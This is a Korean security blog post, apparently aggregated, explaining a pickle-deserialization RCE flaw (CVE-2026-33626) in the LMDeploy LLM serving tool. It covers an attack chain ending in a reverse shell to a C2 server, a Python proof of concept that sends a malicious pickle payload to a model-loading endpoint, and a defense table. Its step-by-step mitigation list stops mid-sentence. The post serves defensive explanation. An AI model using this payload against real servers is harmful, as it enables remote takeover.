LMDeploy CVE-2026-33626: 공개 13시간 만에 악용된 심각 취약점

서론

생성형 AI 모델을 운영하는 엔지니어라면 한 번쯤 악몽을 꿀 것입니다. 수천 달러를 들여 학습하고 튜닝한 최신 모델이 배포된 지 불과 24시간 만에 알 수 없는 프로세스에 의해 탈취되거나, 악의적인 질의 공격에 무력화되는 상황 말입니다. 최근 실제로 발생한 LMDeploy의 CVE-2026-33626 사건은 이 악몽이 현실이 될 수 있음을 보여주는 결정적인 증거입니다.

이 취약점은 보안 공지가 발표된 지 불과 13시간 만에 실제 공격에 악용되었습니다. “13시간"이란 시간은 긴급 패치를 준비하고 검증하는 보안팀에게는 너무나 짧은 시간이지만, 자동화된 공격 도구를 가진 해커에게는 창고를 털기에 충분한 긴 시간입니다. 왜 우리는 AI 인프라의 보안 허점에 집중해야 할까요? 이제 공격자들의 타겟이 단순한 웹 서버에서 고성능 GPU가 구동되는 LLM 인프라로 이동하고 있기 때문입니다. 이 글에서는 CVE-2026-33626의 기술적 원리와 공격 시나리오, 그리고 실무에서 즉시 적용할 수 있는 방어 전략을 다룹니다.

(⚠️ 본 문서에 포함된 기술적 세부 정보와 코드는 보안 연구 및 방어 목적으로만 제공됩니다. 무단으로 시스템을 공격할 경우 법적 처벌을 받을 수 있습니다.)

본론

취약점의 기술적 배경과 원리

LMDeploy는 대규모 언어 모델(LLM)의 추론 성능을 최적화하고 배포를 간소화하기 위해 널리 사용되는 도구입니다. 주로 Triton Inference Server나 Turbomind와 같은 백엔드와 연동되어 REST API 또는 gRPC 인터페이스를 제공합니다. CVE-2026-33626은 LMDeploy의 API 요청 처리 과정에서 발생하는 입력 검증 누락(Input Validation Bypass)역직렬화(Deserialization) 취약점과 관련이 깊습니다.

문제의 핵심은 LMDeploy가 모델 로딩 및 추론 요청을 처리할 때, 클라이언트로부터 전달받은 구성 설정(Config) 객체를 충분히 검증하지 않고 객체로 복원(Deserialize)한다는 점입니다. 공격자는 악의적인 파이썬 Pickle 데이터나 조작된 JSON 구조를 담은 요청을 보내, 서버 측에서 이를 처리하는 순간 원격 코드 실행(RCE)을 유발할 수 있습니다.

이 공격이 13시간 만에 악용된 이유는 공격자들이 N-day 공격 자동화 도구를 사용하고 있기 때문입니다. 취약점 세부 정보(CVE)가 공개되자마자, 이 도구들은 자동으로 공격 페이로드를 생성하여 인터넷상의 노출된 LMDeploy 인스턴스를 스캔하고 공격을 시작합니다.

공격 시나리오 흐름도

아래 다이어그램은 공격자가 CVE-2026-33626을 이용해 LLM 서버를 장악하기까지의 일반적인 공격 체인을 단순화하여 나타낸 것입니다.

1
2
3
4
5
6
7
8
9
graph LR
    A[Attacker] --> B[Automated Scanner]
    B --> C[Vulnerable LMDeploy Instance]
    C --> D[Malicious API Request]
    D --> E[Deserialization Trigger]
    E --> F[Remote Code Execution]
    F --> G[Reverse Shell Connection]
    G --> H[Attacker C2 Server]
    H --> I[Data Exfiltration / Crypto Mining]

공격 메커니즘 심층 분석

LMDeploy는 모델의 토크나이저 설정이나 세션 설정을 전달받기 위해 복잡한 구조체를 사용합니다. 공격자는 이 구조체 내부에 pickle과 같이 안전하지 않은 형식의 데이터를 주입합니다.

  1. 탐색: 공격자는 인터넷에서 LMDeploy의 기본 포트(예: 8000, 3000) 또는 특정 API 엔드포인트(/v1/chat/completions 등)를 스캔합니다. 2. 페이로드 제작: __reduce__ 메서드를 오버라이드하여 악성 명령어를 실행하는 Pickle 객체를 생성합니다. 3. 주입 및 트리거: 이 악성 데이터를 모델 로딩 요청이나 추론 요청의 헤더/바디에 숨겨 전송합니다. 4. 쉘 획득: 서버가 요청을 역직렬화하는 순간 os.system('/bin/bash') 또는 이와 유사한 시스템 콜이 실행되어 공격자에게 쉘 권한이 부여됩니다.

개념 증명(PoC) 코드 예시

다음은 취약점의 원리를 이해하기 위한 교육용 PoC 코드입니다. 이 코드는 취약한 서버에 어떤 방식으로 페이로드가 전달되는지 시뮬레이션합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import pickle
import base64
import os

# 주의: 이 코드는 연구 목적으로만 사용해야 합니다.
# 타인의 시스템에 실행할 경우 불법 행위가 됩니다.

TARGET_URL = "http://target-lmdeploy-server:8000/v1/models/load"

class MaliciousPayload:
    def __reduce__(self):
        # 역직렬화 시 실행될 명령어 (여기서는 단순히 파일 생성)
        # 실제 공격에서는 리버스 쉘을 연결하는 명령어가 들어갈 수 있음
        return (os.system, ('touch /tmp/pwned_by_vuln',))

def exploit():
    # 악의적인 Pickle 객체 생성
    payload_data = pickle.dumps(MaliciousPayload())
    
    # 전송을 위해 Base64 인코딩 (전송 포맷에 따라 다름)
    encoded_payload = base64.b64encode(payload_data).decode('utf-8')

    # 가상의 공격 요청 구성
    headers = {"Content-Type": "application/json"}
    data = {
        "model": "llama-2",
        "config_override": {
            "trusted_data": encoded_payload
        }
    }

    print("[*] Sending malicious payload to target...")
    try:
        response = requests.post(TARGET_URL, json=data, headers=headers, timeout=5)
        print(f"[*] Response Status: {response.status_code}")
        print("[!] If vulnerable, the command has been executed on the server.")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    exploit()

이 코드는 서버가 config_override와 같은 사용자 입력을 신뢰하여 Pickle 역직렬화를 수행할 때 취약해집니다.

방어 전략 비교 및 완화 조치

단순히 패치를 기다리는 것만으로는 부족합니다. 인프라 보안을 위해 다층적인 방어 전략이 필요합니다.

| 방어 계층 | 조치 | 우선순위 | 설명 | | :— | :— | :— | :— | | 네트워크 | 인그레스 방화벽 및 서비스 메시 | 높음 | API 엔드포인트를 인터넷에 직접 노출 대신, 내부망에서만 접근 가능하도록 설정하고 인증된 요청만 통과시킵니다. | | 애플리케이션 | 입력 검증 및 샌드박싱 | 중간 | 역직렬화 기능을 비활성화하거나, 허용된 타입만 명시적으로 허용(Allow-listing)합니다. 컨테이너 내부 프로세스의 권한을 최소화(Rootless)합니다. | | 패치 관리 | 의존성 자동 업데이트 | 매우 높음 | LMDeploy 및 관련 라이브러리를 최신 버전으로 즉시 업그레이드합니다. | | 모니터링 | 행위 기반 탐지(EDR) | 중간 | 비정상적인 프로세스 실행(예: python 자식 프로세스에서 bash 실행)을 실시간으로 탐지하고 차단합니다. |

실무 적용 가이드: Step-by-Step 완화

  1. 즉시 조치 (Isolation): * 방화벽 규칙을 사용하여 LMDeploy 서비스 포트에 대한

출처: https://news.google.com/rss/articles/CBMigwFBVV95cUxNbm1mcWtoc28yRXViLWNheU5XQlpVTFBTWjdrRmwydXFJdTZWbGxfREt0d1U5UHpIa2dxdV9IVGJSUU1OVWxONzhtbmgtd0V0bTZfMzdqSms0VFpfQXdZc0lHS1dIa19xbXdBcG8zOTVnbTNTYjVBVnQ1aGxJRGlyTnYzOA?oc=5

Hugo로 만듦
JimmyStack 테마 사용 중